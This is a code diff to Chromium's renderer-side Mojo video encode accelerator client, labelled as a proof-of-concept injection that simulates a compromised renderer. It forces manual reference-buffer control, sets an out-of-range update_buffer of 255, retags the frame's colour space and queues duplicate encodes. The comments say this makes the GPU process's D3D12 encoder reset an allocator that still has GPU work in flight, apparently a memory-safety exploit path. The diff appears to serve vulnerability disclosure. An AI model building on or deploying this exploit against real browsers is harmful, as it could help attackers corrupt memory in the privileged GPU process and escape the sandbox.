diff --git a/media/mojo/clients/mojo_video_encode_accelerator.cc b/media/mojo/clients/mojo_video_encode_accelerator.cc
index ef953f7c971c1..9e3b6d48a03d1 100644
--- a/media/mojo/clients/mojo_video_encode_accelerator.cc
+++ b/media/mojo/clients/mojo_video_encode_accelerator.cc
@@ -154,9 +154,18 @@ EncoderStatus MojoVideoEncodeAccelerator::Initialize(
   // Initialize result to a failure state. This ensures that if the remote
   // Initialize call fails (e.g., due to Mojo disconnection), we consistently
   // return an error status.
+  // ---- POC injection: simulate compromised renderer ----
+  // Force manual_reference_buffer_control so the H.264/H.265 delegate takes
+  // options.update_buffer verbatim (svc_layers_ is reset on the GPU side).
+  // spatial_layers must be empty for the mojom traits to accept this.
+  Config poc_config = config;
+  poc_config.manual_reference_buffer_control = true;
+  poc_config.spatial_layers.clear();
+  poc_config.inter_layer_pred = SVCInterLayerPredMode::kOff;
+  // ---- end POC injection ----
   EncoderStatus result{EncoderStatus::Codes::kEncoderInitializationError};
   base::ScopedAllowBaseSyncPrimitives allow;
-  vea_->Initialize(config, std::move(vea_client_remote),
+  vea_->Initialize(poc_config, std::move(vea_client_remote),
                    std::move(media_log_pending_remote), &result);
   return result;
 }
@@ -182,7 +191,23 @@ void MojoVideoEncodeAccelerator::Encode(
   UMA_HISTOGRAM_ENUMERATION("Media.MojoVideoEncodeAccelerator.InputStorageType",
                             frame->storage_type(),
                             static_cast<int>(VideoFrame::STORAGE_MAX) + 1);
-  vea_->Encode(frame, options, base::DoNothingWithBoundArgs(frame));
+  // ---- POC injection: simulate compromised renderer ----
+  // (1) Tag the frame with an RGB-matrix colour space so that on the GPU side
+  //     GetEncoderOutputColorSpaceFromInputColorSpace() rewrites it and the
+  //     `input_frame_color_space != output_color_space` branch in
+  //     D3D12VideoEncodeDelegate::Encode() is taken -> ProcessFrames() runs.
+  frame->set_color_space(gfx::ColorSpace::CreateSRGB());
+  // (2) update_buffer = 255 (>= max_num_ref_frames_) so EncodeImpl() early-
+  //     returns kBadReferenceBuffer *after* ProcessFrames() has submitted GPU
+  //     work but *before* video_encoder_wrapper_->Encode() CPU-waits.
+  VideoEncoder::EncodeOptions poc_options = options;
+  poc_options.update_buffer = 255;
+  poc_options.reference_buffers.clear();
+  // (3) Queue two encodes back-to-back so TryEncodeFrames() loops straight
+  //     into ProcessFrames() again and Reset()s the in-flight allocator.
+  vea_->Encode(frame, poc_options, base::DoNothing());
+  vea_->Encode(frame, poc_options, base::DoNothingWithBoundArgs(frame));
+  // ---- end POC injection ----
 }
 
 void MojoVideoEncodeAccelerator::UseOutputBitstreamBuffer(